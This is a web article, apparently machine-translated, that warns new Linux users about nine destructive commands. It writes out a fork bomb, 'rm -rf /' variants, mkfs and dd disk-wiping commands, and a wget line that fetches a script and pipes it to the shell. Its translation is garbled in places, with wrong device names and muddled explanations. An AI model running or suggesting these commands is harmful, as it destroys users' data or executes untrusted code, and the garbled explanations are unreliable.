9 Linux commands that must be carefully used before use

  

The Linux shell/terminal command is very powerful, and even a simple command can cause folders, files, or path folders to be deleted.

In some cases, Linux will not even ask you to execute commands directly, causing you to lose all kinds of data.

Generally speaking, new Linux users are recommended to execute these commands on the Web. Of course, some people who have written this code don't think so, because it is not a joke when you write it down.

Here I have collected some Linux code that is harmful to the system to help you avoid them. Remember: these codes are very dangerous and can even be modified to become more harmful.

There are a few things to keep in mind: some commands are only harmful if they have a sudo prefix in Ubuntu. Other distributions of Linux are harmful when used as root commands.


1. Linux Fork Bomb Command


:(){ :: & };: Known as Fork Bomb, is a denial of service Attacking Linux system. :(){ :: & };: is a bash function. As long as it is executed, he will repeat it until the system is frozen.

You can only restart the system to solve this problem. So be sure to pay attention when you execute this command in the Linux interface.


2. Mv Folder/Dev/Null Command


mv folder/dev/null is also a dangerous command. Dev/null or null device is a device file that deletes all data written on this device file, but the operation prompt is a successful write operation. This is what we often say bit bucked or black hole.


3. Rm -Rf Command


The rm -rf command can quickly delete folders and their contents on Linux systems. If you don't know how to use it properly, you just cry.

List the most common combinations and choices for the m-rf command:

rm command : Delete files from the Linux system

rm -f command: delete files without prompting Read-only file in

rm -r command to delete the contents of the folder

rm -d command : Delete empty directories, if the directory is not empty, the operation will not be performed

rm -rf/command: Forces deletion of all content and subfolders (including write protected files) commands in the root directory.

rm -rf* command : Forces deletion of all content in the current directory (current working directory) and word folder

rm -rf. command: Forces deletion of current folder directory/subdirectory All in the content. Same as rm -r.[^.]*

The rm -r.[^.]* command : Delete files and folders with delete prompts


4. Mkfs Command


If you don't know the role of mkfs, then it is also a dangerous command. Any commands written after mkfs will be formatted by a blank linux file system. Alternative.

The following lists the commands that require administrator privileges to format the hard disk:

mkfs

mkfs.ext3

mkfs.bfs

mkfs.ext2

mkfs.minix

mkfs.msdos mkfs.reiserfs

mkfs.vfat

mkfs.cramfs can also be done with the above code The same thing, but does not need to manage source permissions.


5. Tar Bomb


The tar command is used to put multiple files into a file (archive file) in .tar format. The Tape Archive (Tar) bomb can be created by him.

When compressed, this archive file generates tens of thousands of similarly named files that appear in the current directory instead of the new one.

When you receive a tar file, periodically create a new protected directory, and then put the accepted tar file into this directory before unzipping, you can avoid becoming a victim of tar bomb.


6. Dd Command


The Dd? command is used to copy & change the hard disk partition. If you use the wrong place, then it is very dangerous.

The following dd commands are listed:

dd if=/dev/hda of=/dev/hdb

dd if=/dev/hda of=/dev/sdb< Br>

dd if=something of=/dev/hda

dd if=something of=/dev/sda

The following command will clear the entire master hard disk: dd if =/dev/zero of=/dev/had


7. Shell Script Code


Sometimes you may be pitted, Give you a shell script file that lets you download and execute it. The script may contain some malicious or dangerous code. The command form might look like this: wget http://some_malicious_source -O- sh. Wget will download the script when sh is narrow.


8. Malicious Source Code


Maybe someone will give you the source code to compile him. The code might be normal code, but there are some malicious code that masquerades in large source code, and if so, your system is shot. How to avoid? Only accept and compile source code for trusted sources.


9. Decompression Bomb


You have received a compressed file and you are asked to extract this small file, which may be small To KB. In fact, this small compressed file contains highly compressed data.

As long as the files are decompressed, hundreds of GB of data will be extracted. At this time, if the oversized data fills up the hard disk and causes the downtime, the chances are great. How to avoid? Still the old saying, don't worry, what files are received, please receive the trusted source text

This article links: http://www.evget.com/article/2014/11/4/21781. Html

Copyright © Windows knowledge All Rights Reserved